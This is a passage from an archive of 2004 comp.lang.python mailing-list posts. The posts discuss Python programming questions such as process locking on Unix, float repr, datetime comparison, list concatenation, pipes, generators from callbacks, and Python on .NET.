(=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Tue, 28 Sep 2004 20:43:20 +0200 Subject: Python for .NET References: <221d8dbe.0409280014.aa38f20@posting.google.com> Message-ID: <4159d5d6$0$30722$8fcfb975@news.wanadoo.fr> URL : http://www.zope.org/Members/Brian/PythonNet I had try if from many month, from now. -- Michel Claveau From ville at spammers.com Thu Sep 30 02:05:52 2004 From: ville at spammers.com (Ville Vainio) Date: 30 Sep 2004 09:05:52 +0300 Subject: multiple instance on Unix References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> Message-ID: >>>>> "Cameron" == Cameron Laird writes: Cameron> In article , Mike Meyer wrote: >> The (old) standard method for locking on Unix is to use a >> file. Open it in exclusive mode. Using os.open(, >> O_EXCL | O_RDONLY) (or O_WRONLY, or O_RDWR) should do the >> trick. Cameron> *My* favorite is to open a server socket; its semantics Cameron> are exactly those one wants, without having to tend to Cameron> filesystem hygiene with its attendant race and security Cameron> challenges. Server sockets have some nasty problems - they have for numerous times been left "dangling" for me, i.e. the socket is not available even if the process is long dead. I'd go for pid file - in Unix at least, process id's are not reused so if no process for the pid in pidfile exists, the process has died. -- Ville Vainio http://tinyurl.com/2prnb From aleaxit at yahoo.com Wed Sep 22 11:48:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 17:48:35 +0200 Subject: Development engineering References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <4tg822-bmd.ln1@lairds.us> Message-ID: <1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com> Cameron Laird wrote: ... > Excellent developers, among other things, diagnose accurately > and quickly; slightly less (I claim) differentiating is their > creativity at remedies. Yeah, debugging skill #1 is diagnosis -- fixes are easier, more often than not. Not too sure about the "excellent developer" generalization in this context, tho. The skills of, say: finding bugs; architecting complex systems effectively; mastering some technologies (languages, libraries, operating systems, protocols, existing algorithms in some field, ...) thoroughly and effectively; designing pleasantly usable languages, mini-languages, file formats, library interfaces, user interfaces; inventing good new algorithms; etc, etc... ARE all correlated to SOME extent, sure, but no more so, I think, than some of them correlate with other skills not directly connected to the practice of software development (crossword puzzles, ikebana, cooking...). > I have a large, large theory that I summarize as, "Cut your > losses". The local application is that one big win for > engineering productivity in software development is avoidance > or management of those it-took-*months*-to-track-down-this- > simple-problem situations. I've sure lived through them; in > fact, I'm dealing with three different ones that I know right > now. > > They are humbling, indeed. Yeah, and avoiding or wisely managing them would be wonderful, but isn't necessarily easy. "KISS" is always helpful, of course: the more helpings multitasking (of whatever kind, but "free-threading" issues are the deucedest ones in my experience), distributed programming (...runs away screaming...), even humble (ha!) event-driven programming, there are in your system, the likelier that bugs will emerge that are very hard to identify. But we can't always be writing nicely simple sequential programs -- we DO need to work with networks, GUIs, ...:-( Abstraction cuts both ways -- great while it works, but sometimes bug emerge that become horridly difficult to connect across huge gaps of abstraction. Eric Raymond has some wise comments about that (and pointers to more such material) in his great book "Art of Unix Programming". Same for avoiding boilerplate coding and copy-and-paste reuse -- such avoidance is an important bug-avoidance practice, BUT if to pursue it you end up with highly generalized, parameterized, and likely complicated procedures (or, worse, deep hierarchies of classes, eek!) you may easily risk losing more than you gained. Unit testing, generous use of assertions, pair programming, and, to a far lesser extent, "linting" and code inspections, all help a bit... but the race condition, weird interaction of complicated frameworks, etc, will always hit in the one spot which unit tests didn't exercise, that you didn't think to assert anything about, and that looked just as good to your programming partner, your linter, and all code inspectors...!-) > I've lived through quite a few, as I just wrote. I do *not* > particularly associate their resolution, in my memories of > first-hand experience, with debuggers. Among other things, > this makes me wonder if I'm missing out on the capabilities > of debuggers. This is a reflection I had as a consequence of this episode. But if I meet about two "super-horrible bugs" a year, and a perfect debugger would save me 3 days or so in each case, I need to find one that I can learn to use with perfect skill in less than 6 days, and keep well-trained on at no cost. Half the incantations that WingIDE guru was incanting were completely lost on me and the other guy helping us out in that debugging -- if I took a week to learn it, and then didn't have any need for it for months, I'd have to relearn it again 7 months later... not a net win. I was highly skilled back when I had to use MS Visual Studio to develop and debug C++ code -- but it's the kind of skill my brain expunges as fast as it possibly can, as soon as it becomes unused (as opposed to, say, weird interesting facts about languages and libraries I may not have used for years -- THOSE, for me, tend to stay around somewhere in my brain!-) > I don't know what the answers are. In this area, I'm still > wrestling with what questions to ask. This stuff *fascinates* > me, though, in utter contrast to what I consider the utter > irrelevancies of which editor to use, which ... Of course -- the answer is so obvious (vim, what else?!) than debating it _is_ utterly irrelevant...!-) Alex From steve at holdenweb.com Tue Sep 28 08:44:28 2004 From: steve at holdenweb.com (Steve Holden) Date: Tue, 28 Sep 2004 08:44:28 -0400 Subject: Python for .NET In-Reply-To: <221d8dbe.0409280014.aa38f20@posting.google.com> References: <221d8dbe.0409280014.aa38f20@posting.google.com> Message-ID: srijit at yahoo.com wrote: > Hello, > > Ironpython is a good alternative. But it would be great if it is > possible to access CLR from CPython. Iron Python will be the way to go if you want CLR access and managed code. Particularly now its author works at Microsoft, there's hope that we will have a great .NET implementation that manages to be highly-compatible with CPython. Remember that Python is an open source project. One of its goals is availability across a startlingly wide range of platforms. Hard-wiring the CLR into CPython would remove all pretence of portability, so it isn't going to happen, I suspect. Until Microsoft open up .NET and make it available on all Python-supported OSes. Nah, it isn't going to happen! > I am aware Python for .NET ( PythonNet-1.0-beta3.tgz). I have started > using this tool now. > But I see that development of this promising tool has ceased for all > practical purposes. > Is it because there is nothing much to do beyond what it is now? > Do you perhaps have a URL that relates to this project? I suspect it's an early experiment which (unlike Iron Python) concluded it wasn't practical to adapt dynamic languages like Python to the CLR. That has now been proved unduly pessimistic. regards Steve From sholden at holdenweb.com Wed Sep 15 09:11:46 2004 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 15 Sep 2004 09:11:46 -0400 Subject: Python Oddity - print a reserved name In-Reply-To: <6f402501.0409150404.75292b5a@posting.google.com> References: <6f402501.0409150404.75292b5a@posting.google.com> Message-ID: Michael Foord wrote: > Here's a little oddity with 'print' being a reserved word... > > >>>>class thing: > > pass > > >>>>something = thing() >>>>something.print = 3 > > SyntaxError: invalid syntax > >>>>print something.__dict__ > > {} > >>>>something.__dict__['print'] = 3 >>>>print something.__dict__ > > {'print': 3} > >>>>print something.print > > SyntaxError: invalid syntax > >>>> > > > See that I can't set the something.print attribute directly, but can > set it indirectly. Is this behaviour 'necessary' or just an anomaly of > the way IDLE detects Syntax Errors ? > It's necessary. You will find that keywords (those having a specific meaning as a language token, such as "def" and "print") can't be used as attributes. The fact that you can set the attributes by manipulating the __dict__ directly isn't relevant - you will find you can only access such attributes indirectly, since any attempt to do so directly will result in a syntax error no matter how the Python interpreter is invoked. regards Steve From adalke at mindspring.com Sun Sep 26 02:21:38 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 26 Sep 2004 06:21:38 GMT Subject: Why not FP for Money? In-Reply-To: References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> Message-ID: Carlos Ribeiro wrote: > I don't have enough knowledge of RE's theory, and I don't know if it > can be generalized, but it's a great solution. Was it ever discussed > here at c.l.py? If "it" means "special lexical support for making regular expression objects" then yes, and rejected. If "it" means "the ability to manipulate regular expression parse trees" then yes, to some extent. Use the (undocumented internal) module sre_parse.py to make a ... I think the right term is "concrete data type". Traversing that to make an abstract data structure is easy, and what I did for my Martel system. > Well, that's was the greatest part of your post. That you've got > yourself into the hassle of checking a discussion nearly ten years old > was fantastic, and the quality of the information you've recovered is > nothing short of magnificent. Really. So much of superlatives :-) Umm, thank Google for most of that. For my part all I remembered was that a conversation occured, that the addition was very simple, and that the community voted for 'j' over 'i'. > Looking back at that discussion, I think that we're on the right road. > We already have a library working, and the proposed changes to the > syntax follow the same precedent of the i(maginary) suffix. It's too > early to tell, but the precendents looks good for the 'd'-suffix > proposal. I suspect you're right. I'm just getting reactionary in my old age. :) > There is an important difference in favor of complex numbers. I think > that the support for the notation of complex numbers is more important > for OUTPUT than for INPUT. It's much easier to read a complex as > (1+2i) than to read it as complex(1,2). In large array printouts, > that's something that makes a lot of difference. If "in favor of" adding support for imaginaries to Python's syntax then I disagree. We could still have the first be str() and the second be repr(). Though there is an advantage that the natural (after years of education) human representation matches the Python one. As you point out, that is not the case for decimals. Suppose Python3.0 goes the other way and uses decimal as the native number type and requires some suffix for floats? x = 3.04 # this is a decimal y = 3.14159f # this is an IEEE 754 float >>But I've never actually used complex >>for any of my Python work and suspect that I >>wouldn't have a problem using (say) >> cmath.complex(1.12, 2.9) >>instead if I did. > > > But you sure find it more convenient to type (1.12+2.9i), don't you? My point is that I find it more convient that most objects get created via the same call-style interface. I would find s = url"http://www.python.org/" more convenient to type than s = urllib.urlopen("http://www.python.org/").read() Doesn't mean I want it. Andrew dalke at dalkescientific.com From aleaxit at yahoo.com Tue Sep 28 12:02:07 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 28 Sep 2004 18:02:07 +0200 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> <7xhdple624.fsf@ruckus.brouhaha.com> Message-ID: <1gku4as.1ni4xf51edgvp2N%aleaxit@yahoo.com> Michael Hoffman wrote: > Tim Roberts wrote: > > > Right! That's the point. str() is the perfect solution in those cases > > where you want the language to lie to you. In many cases, that IS what you > > want. repr() is the perfect solution when you need an invertible function. > > repr() does not provide an invertible function if you are using it on a > list, as was pointed out here, since list.__repr__() essentially calls > str() for its float members rather than repr(). ?! I think you're confused, since things are exactly the other way around: list.__str__ calls repr on its members (so does list.__repr__, which happens to be exactly the same function). repr isn't necessarily perfect in all cases, but it does do a creditable job on many built-in types -- including all kinds of built-in numbers, strings, and containers whose leaves are such numbers and strings. Alex From chris at foote.com.au Sat Sep 4 10:13:41 2004 From: chris at foote.com.au (Chris Foote) Date: Sat, 04 Sep 2004 23:43:41 +0930 Subject: import module name collision Message-ID: <4139cd8c$1_3@news.adelaide.pipenetworks.com> Today I happened to accidentally name one of my project's files 'email.py', which collides with the module of the same name in Python's standard library: from email.MIMEText import MIMEText which causes problems within MIMEText later: File "/usr/lib/python2.3/smtplib.py", line 49, in ? from email.base64MIME import encode as encode_base64 ImportError: No module named base64MIME Is there any mechanism to refer to standard library modules so that there's no name collision problem with the local filename ? ... or any other solution ? Cheers, Chris From pfortin at pfortin.com Tue Sep 14 20:37:29 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Tue, 14 Sep 2004 20:37:29 -0400 Subject: comparing datetime with date References: <41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: <20040914203729.627f40ad@gypsy.pfortin.com> On Wed, 15 Sep 2004 09:24:03 +1000 Graeme wrote: > This is very interesting because if you continue further and coerce both > to strings you get: > > >>> print str(y) == str(y) of course: ^ ^ :^) > True > Even though there string values are different they still match? >>> today = datetime.date(2004,9,14) >>> yesterday = datetime.date(2004,9,13) >>> now = datetime.datetime(2004,9,14,20,0) >>> now == today True >>> now == yesterday False >>> Looks like date and datetime have 3 arguments and minimum 3 args respectively, so the comparison appears to simply use the minimum data available... when given more data to compare, we get: >>> minute_ago = datetime.datetime(2004,9,14,19,59) >>> minute_ago == now False > All i can assume is that when a Date / DateTime comparision is made the > 'lowest denominator' i.e Date is used but I may be very wrong I agree... > Will watch this thread closely From dperl at rogers.com Sun Sep 12 22:11:22 2004 From: dperl at rogers.com (Dan Perl) Date: Mon, 13 Sep 2004 02:11:22 GMT Subject: Newbie: tuple list confusion. References: <20040912195529.03437.00000338@mb-m27.aol.com> <10k9vnqkfieasd7@news.supernews.com> Message-ID: "John Roth" wrote in message news:10k9vnqkfieasd7 at news.supernews.com... > > "Q852913745" wrote in message > news:20040912195529.03437.00000338 at mb-m27.aol.com... >>I am trying to learn python from 'Python programming for the absolute >>beginner' >> I'm sure I understand the difference between tuples and lists, but while >> experimenting with what I have learned so far, I was suprised that this >> code >> worked. >> >> # Create list a >> a=["start",878,"item 1",564354,"item 2"] >> print "length of list a =",len(a) >> print "a =",a ; print >> >> # Create tuple b >> b=(234,"item 3",456,"end") >> print "length of tuple b =",len(b) >> print "b =",b ; print >> >> print "Add b onto a" # Shouldn't work! >> #--------------------------------------------- >> # a=a+b # causes an error as it should, >> a+=b # but why is this ok? >> #--------------------------------------------- >> print "a =",a >> print "length of a =",len(a) >> print;c=raw_input("Press enter to exit") >> >> My book states that a=a+b and a+=b are the same, and that different >> 'types' of >> sequence cannot be joined together. > > This is a simplification. a+=b can be done with an in-place update > for mutable objects, such as lists. An in place update doesn't have > to do exactly the same operation as the equivalent binary operator, > and it seems like it doesn't here. > > Since it's an in-place operation, I would expect that a+=b > would be the same as a.append(b), but I haven't checked > that this is the case, and the manual doesn't indicate that > append() accepts general sequences. It does, however, > indicate that at one time it had to accept tuples, and likely > the code to do that was never removed. See note 2 > in the Library Reference Manual under Builtin Objects - > Builtin Types - Sequence Types - Mutable Sequence Types. > > I wouldn't depend on this working in future releases. > > John Roth John, I don't think it's an 'append', it's probably an 'extend'. a=[1,2,3] a.append((4,5)) print a # [1, 2, 3, (4, 5)] a.pop() # (4, 5) a.extend((4,5)) print a # [1, 2, 3, 4, 5] From abra9823 at mail.usyd.edu.au Sat Sep 4 09:10:22 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sat, 4 Sep 2004 23:10:22 +1000 Subject: extending Python error Message-ID: <1094303422.4139bebea1b93@www-mail.usyd.edu.au> hi! I have a c++ file that does some XML processing (visual c++ using ATL). The file builds fine. However when i add the header #include, i get a number of errors C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5395) : error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1 from 'const unsigned short *' to 'const char *' Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5396) : error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1 from 'unsigned short [4]' to 'const char *' Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast any ideas where the errors are coming from? thanks ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From __peter__ at web.de Sat Sep 11 14:29:53 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 11 Sep 2004 20:29:53 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: Message-ID: Luka Milkovic wrote: > temp = [mail.read()] > enc_txt = "\n".join(temp) These two lines an be simplified to enc_text = mail.read() > begin = enc_txt.find(", '[")+len(", '[") > ending = enc_txt.find("]', ") A guess: you are not checking whether the ending "]', " is really found. It may well be that it is not and therefore ending set to -1 -- which means end_txt2 will contain all characters from 'begin' until the end of the string excluding only the last character. > enc_txt2 = (enc_txt[begin:ending]) > mail.close() next two lines are superfluous: > lines = enc_txt2.splitlines() > enc_txt3 = ' '.join([line.strip() for line in lines]) > split = re.split(",", enc_txt3) better IMHO: split = enc_txt2.split(",") you need only one of the following lines: > enc = [int(elem) for elem in split] > enc = map(int, split) If my guess doesn't pinpoint the problem, I suggest that you post the actual code and data that reproduces the error. Peter From 2002 at weholt.org Mon Sep 27 06:44:24 2004 From: 2002 at weholt.org (Thomas) Date: Mon, 27 Sep 2004 12:44:24 +0200 Subject: Optimizing tips for os.listdir Message-ID: I'm doing this : [os.path.join(path, p) for p in os.listdir(path) if \ os.path.isdir(os.path.join(path, p))] to get a list of folders in a given directory, skipping all plain files. When used on folders with lots of files, it takes rather long time to finish. Just doing a listdir, filtering out all plain files and a couple of joins, I didn't think this would take so long. Is there a faster way of doing stuff like this? Best regards, Thomas From noone at here.com Wed Sep 29 23:11:47 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 04:11:47 +0100 Subject: List rotation Message-ID: Hi All, Could someone help me out with this? items = ('a', 'b', 'c', 'd') items + 1 = ( 'b', 'c', 'd', 'a') items + 2 = ( 'c', 'd', 'a', 'b') items + 3 = ( 'd', 'a', 'b', 'c') trans = 1 list = ('a', 'd', 'b', 'a', 'd', 'c', 'b') #and items = +1, the list would be; #list = ('b', 'a', 'c', 'b', 'a', 'd', 'c') etc.. for idx in range(len(list)): if trans == [1]: list[idx] = [???] print l1 Don't laugh, I'm a slow learner : ) Thanks, M From donn at u.washington.edu Tue Sep 7 14:00:22 2004 From: donn at u.washington.edu (Donn Cave) Date: Tue, 07 Sep 2004 11:00:22 -0700 Subject: Pipe IO Problem? References: Message-ID: In article , "Chris S." wrote: > A wrote a small class to handle IO through pipes, but the connection > only seems to work in one direction. The following code defines > connection.py, engine.py, and controller.py. Once connected, the engine > is only able to send and the controller recieve. Also, this only works > when using popen2.popen3. Using os.popen3 doesn't work at all and seems > to behave completely differently. I'm too lazy to track down the problem in your code, but os.popen3 vs. popen2.popen3 is an easy one. You can see the code yourself, in the os.py module -- def popen3(cmd, mode="t", bufsize=-1): import popen2 stdout, stdin, stderr = popen2.popen3(cmd, bufsize) return stdin, stdout, stderr Note different return value. You can avoid some confounding factors, and possibly the need for a separate thread, if you use the UNIX file descriptors (e.g., outpfd = outp.fileno(), os.write(outpfd, string + '\n'), etc. The thread could go away if select() turns out to be suitable for your application. The buffering you get with file objects is relatively useless here and likely not worth the trouble it causes. Donn Cave, donn at u.washington.edu From khaidarx at yahoo.com Thu Sep 23 23:44:10 2004 From: khaidarx at yahoo.com (Abdullah Khaidar) Date: 23 Sep 2004 20:44:10 -0700 Subject: Iteration style References: Message-ID: Thanks for your correction. Now I've found that using join (list methods) is better than others. --M.Abdullah Khaidar http://khaidarmak.blogspot.com Michael Hoffman wrote in message news:... > Abdullah Khaidar wrote: > > > Is there any iteration style we must use to get faster processing > > time? > > Yes, definitely this one: > > >>>>def useJoin(): > > > > list = [str(element) for element in range(5)] > > return "".join(list) > > You aren't going to get the right results from your getTimer() function > because you are just timing putting the function object on the stack, > rather than actually calling it. > > >>>>def getTimer(): > > > > from timeit import Timer > > t1 = Timer("useListIteration", "from __main__ import > > useListIteration") > > should be t1 = Timer("useListIteration()", "from __main__ import > useListIteration") > > > print "Using list iteration: ", min(t1.repeat()) > > Of course now that you are actually calling a function, it should take a > lot longer, so repeating it 3 * 1,000,000 times is way too many. I would > change the number of integers you are concatenating from 5 to 1000 and > run Timer.timeit(number=100) (repeats 3 * 100 times) instead. > > >>> getTimer() > Using list iteration: 0.751999855042 > Using normal iteration: 0.766999959946 > Using join: 0.446000099182 > > HTH, From john at grulic.org.ar Tue Sep 7 20:21:08 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 7 Sep 2004 21:21:08 -0300 Subject: %a format In-Reply-To: References: Message-ID: <20040908002108.GB31732@grulic.org.ar> On Tue, Sep 07, 2004 at 04:48:25PM -0700, Dan Bishop wrote: > Tor Iver Wilhelmsen wrote in message news:... > > John Lenton writes: > > > > > Is there any reason python's printf-style formatting is missing the > > > (C99) '%a' specifier? > > > > Because it's not very well known or used? A google for "C printf > > format string" gave lots of resources, none of which had %a. > > They do if you search for "C99" instead of just "C". > > Anyhow, another reason for not supporting "%a" is that it would be > redundant. It would be sufficent to define an "%x" format for floats. I don't think that's a good idea: no other specifier is dual integer/float, and you'd break code that passes floats to a %x expecting it to work as a %u, but in hex. Actually the answer I was expecting was "FooOS doesn't support it" or somesuch, not 'uhhh... el qu??' :) %a is very useful for what it was created: serializing floats without loss of precision, and I was surprised that python didn't support it. -- John Lenton (john at grulic.org.ar) -- Random fortune: De los parientes y el sol, entre m?s lejos, mejor. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From adurdin at gmail.com Sun Sep 5 07:22:51 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Sun, 5 Sep 2004 21:22:51 +1000 Subject: Proto-PEP: Overloadable Boolean Operators In-Reply-To: <413AEEF9.7060102@cosc.canterbury.ac.nz> References: <413AEEF9.7060102@cosc.canterbury.ac.nz> Message-ID: <59e9fd3a040905042252b37a54@mail.gmail.com> On Sun, 05 Sep 2004 22:48:25 +1200, greg wrote: > Discussion is invited on the following proto-PEP. > > ------------------------------------------------------------- > > PEP ??? - Overloadable Boolean Operators > ======================================== If I understand this correctly, then logical operations on instances of the following class should duplicate the existing behaviour for the boolean type -- is this correct? class MyBoolean: def __init__(self, value): self._value = value def __not__(self): return MyBoolean(not self._value) def __and1__(self): if(self._value): return NeedOtherOperand else: return self def __and2__(self, other): return self def __or1__(self): if(self._value): return self else: return NeedOtherOperand def __or2__(self, other): return self The PEP doesn't explicitly describe when __rand2__ (or __ror2__) is used. I'd guess that it will be called for (A and B) when A defines neither __and1__ nor __and2__ -- is this correct? Anyway, I'll have to have a close look at your patch -- I'd been toying with the idea of implementing [or attempting to implement] this myself. From fumanchu at amor.org Mon Sep 6 12:06:53 2004 From: fumanchu at amor.org (Robert Brewer) Date: Mon, 6 Sep 2004 09:06:53 -0700 Subject: Linux application deployment Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EBD@exchange.hqamor.amorhq.net> Alex Martelli wrote: > Robert M. Emmons wrote: > ... > > One thing I've always wonders was -- Is there a way for a > python module > > to tell where it's file is located??? If you could do this > it might > > Piece of cake: the key part of this recipe is > def whereami(): return sys.modules[__name__].__file__ > then you can os.path.abspath this filename string as you wish. > > Here's a more complete example foo.py: > > #!/usr/bin/env python > > import sys, os > > def whereami(): return os.path.abspath(sys.modules[__name__].__file__) Shorter version for the local directory: import os.path localDir = os.path.dirname(__file__) I don't see any reason to make it a callable...? Robert Brewer MIS Amor Ministries fumanchu at amor.org From marcus at deepfort.com Sun Sep 19 17:36:54 2004 From: marcus at deepfort.com (marcus at deepfort.com) Date: Sun, 19 Sep 2004 22:36:54 +0100 Subject: uptime in unix In-Reply-To: References: Message-ID: <414DFBF6.2090702@deepfort.com> Oli Schwarz wrote: >Hello, > >how can I read out the uptime of a unix system in python (Linux and *BSD). > >I have not found a uptime-function in the Library. > >Regards >Oli > You can pull the uptime in seconds from /proc/uptime in Linux (use uptime in BSD, prob. Darwin). How you retrieve it is a matter of personal taste.. For instance: import commands #linux commands.getoutput('cat /proc/uptime') etc.. Obviously if you're going to use popen, you could use the unix uptime command anyway I guess. I'm guessing that's not what you want though, since it's just using a shell.. From fumanchu at amor.org Sun Sep 12 17:04:47 2004 From: fumanchu at amor.org (Robert Brewer) Date: Sun, 12 Sep 2004 14:04:47 -0700 Subject: Greenlets: where are they now??? Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022ECB@exchange.hqamor.amorhq.net> David Pokorny wrote: > B) Will a later version of CPython support greenlets natively? (in > particular by adding the appropriate entries to PyThreadState) >From what I've seen in my limited time reading python-dev, Guido isn't very keen on providing functionality in C which isn't equally present for, say, Jython. So I'd guess it won't happen for quite a while. The standard Library might allow _some_ slippage, but the Python core is purposefully implementation-agnostic. Robert Brewer MIS Amor Ministries fumanchu at amor.org From rkern at ucsd.edu Wed Sep 15 16:42:27 2004 From: rkern at ucsd.edu (Robert Kern) Date: Wed, 15 Sep 2004 13:42:27 -0700 Subject: IEEE 754 floats In-Reply-To: References: Message-ID: Dale Huffman wrote: > Thanks everyone it works... but does this seem like a kludgy (sp?) way > to do this, or have I just not gotten to PythonThink mode yet. I would submit that the task of converting an int to a float like that is a fairly rare task. It is exceedingly more common to convert a sequence of bytes to and from ints/floats. So Python opts for the more general solution, which happens to also be the best solution for the most common case. Additionally, the fine details of memory layout for basic types like ints and floats *ought* to be hidden from the user. Of course, you can still get at them if you need to via the struct module. If you run into this situation a lot, it's easy enough to write a function that encapsulates the kludge. For getting into PythonThink mode, type "import this" at the interactive prompt. -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From timothy.grant at gmail.com Sun Sep 19 23:34:55 2004 From: timothy.grant at gmail.com (Timothy Grant) Date: Sun, 19 Sep 2004 20:34:55 -0700 Subject: python vs c# In-Reply-To: <1095648803.31957.373.camel@devilbox.devilnet.internal> References: <1095648803.31957.373.camel@devilbox.devilnet.internal> Message-ID: Thank you Julio, I'm now beginning to see the error of my ways in developing GUI software in Vim. I didn't know that it was so difficult and futile until I read these posts. So I'm going to give up on it and now put all of my effort into porting VisualStudio to Linux so I can write GUI apps in Visual Basic the way they were meant to be written. On Sun, 19 Sep 2004 19:53:23 -0700, Cliff Wells wrote: > On Sun, 2004-09-19 at 21:13 -0400, julio wrote: > > > But why so much resistence to the change ? is the denyal of reality fine? > > why dont you care? i wouldnt care if i used python for small system > > scripts. > > Julio, you have convinced me. I *am* going to change. I am going to > double my productivity by not reading or responding to silly postings > like this anymore. I doubt any IDE in the world is going to bring back > the time everyone here (yourself included) has wasted listening to you > berate people for not programming the way you do. > > Regards, > Cliff > > -- > Cliff Wells > > > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Stand Fast, tjg. From abra9823 at mail.usyd.edu.au Sun Sep 5 07:55:15 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sun, 5 Sep 2004 21:55:15 +1000 Subject: python from Java In-Reply-To: References: Message-ID: <1094385315.413afea3d66da@www-mail.usyd.edu.au> hi! they are on the same machine. basically there is an application that does some user modelling and its in Python. the application (bunch of .py scripts) have an interface that you use to access user models. the java app will simply do some xml stuff at the end of which it will access the user model through the interface. basically what i'd like to know is if i have #test.py def foo(blah): return blah += 5 can i call foo from a Java class? more importantly what would i need to install on the machine to be able to do that. the machine in question is a PDA so there are some limitations on what can be installed and made to run on it. Python runs and so does Java. cheers Quoting Alan Kennedy : > [Ajay ] > > can you call a Python application from a Java program? does this > require > > any additional package to be installed? > > Define what you mean by "call a python application". > > Are the python code and java code in the same process? > > Are they on the same machine? > > Are they on different machines connected on a network? > > Etc, etc. > > -- > alan kennedy > ------------------------------------------------------ > email alan: http://xhaus.com/contact/alan > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From cy.fbp.eryvtvne at ncbybtrglxn.pbz Thu Sep 2 04:31:25 2004 From: cy.fbp.eryvtvne at ncbybtrglxn.pbz (JZ) Date: Thu, 2 Sep 2004 10:31:25 +0200 Subject: Python cannot use SMTP... References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net> <1i04cqxwzoane.1915vlaurzzbl$.dlg@40tude.net> Message-ID: <1l9yydcws0h77.1n5wlrs845p10.dlg@40tude.net> Wed, 01 Sep 2004 17:17:15 +0200, na comp.lang.python, Thomas Kr?ger napisa?(a): > See the /etc/xinet.d/ folder to find it out. It is wrapped with strange soft. > You may also try to send mail to 216.93.188.184 instead of localhost Without results. I found other solution. I changed smtp to other host and it helped. -- JZ From bokr at oz.net Mon Sep 6 20:06:59 2004 From: bokr at oz.net (Bengt Richter) Date: 7 Sep 2004 00:06:59 GMT Subject: turning callback into generator References: Message-ID: On Mon, 06 Sep 2004 23:24:17 +0200, Peter Otten <__peter__ at web.de> wrote: >Wai Yip Tung wrote: > >> I'm attempting to turn some process than uses callback to return result >> into a more user friendly generator. I'm hitting some road block so any >> pointer would be appriciated. > >I asked the same question a while back and there were no satisfying >suggestions. > >http://mail.python.org/pipermail/python-list/2003-December/197726.html > >At the very least you need threads, and when the generator is not fully >exhausted it's easy to end up with a thread waiting forever. > >I finally dropped the idea, but if you are really determined and want to >hack something together, the following might (or might not, this is really >a shot in the dark) serve as a starting point: > >http://mail.python.org/pipermail/python-list/2003-July/173872.html > Not that familiar with python threads and queue, but here's a start: >>> import threading >>> import Queue >>> q = Queue.Queue(3) # ridiculously short >>> >>> def producer(n, cb): ... for i in xrange(n): cb(i) ... >>> def product_generator(p, *a, **kw): ... tpq = threading.Thread(target=p, args=a, kwargs=kw) ... tpq.start() ... try: ... while True: yield q.get(True,5) ... except Queue.Empty: ... print 'No data for 5 seconds' ... >>> for item in product_generator(producer, 8, q.put): print item ... 0 1 2 3 4 5 6 7 No data for 5 seconds >>> Not tested beyond what you see ;-) Regards, Bengt Richter From ajsiegel at optonline.com Sun Sep 5 09:53:35 2004 From: ajsiegel at optonline.com (Arthur) Date: Sun, 05 Sep 2004 13:53:35 GMT Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <4139a87a$0$30204$9b622d9e@news.freenet.de><2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> Message-ID: "Arthur" wrote in message news:EMD_c.7014$Wv5.3607 at newsread3.news.atl.earthlink.net... > > Something like this seemed to work: > > def __copy__(self): > newcopy=copy.deepcopy(self) > newcopy.vpythonobject= > return newcopy > > But before getting too far into testing whether this accomplished the copy I > was looking for (perhaps the success was more apparent than real, and the > advice to resort to copy_reg is more unavoidable than I understand) I > realized that I had misconceived something more fundamental. That the > normal instance creation process involves registerting the new instance with > the app in various ways, and that a copy won't accomplish this. > > That is until wrote the last paragraph, and realized that I might be able to > throw the registration routines into the __copy__ method. > > Hmmm. > > Let's try. With the further realization that I wasn't buying myself anything in particular by overriding __copy__ at this stage, but that some function starting with a deepcopy and then reassigning some of the attributes derived from VPython (which luckily are the attributes that I want as fresh for what I am trying to do), then running through the "registration" routines normally done on __init__, then returning the manipulated deepcopy - I seem to be home. Now on to the functionality I had in mind, given this capability. Which should be fun. Art From greg at cosc.canterbury.ac.nz Fri Sep 17 02:29:31 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 17 Sep 2004 18:29:31 +1200 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? In-Reply-To: References: Message-ID: <2qveidF13ssa0U1@uni-berlin.de> Chris Barker wrote: > One thing that isn't clear to me about 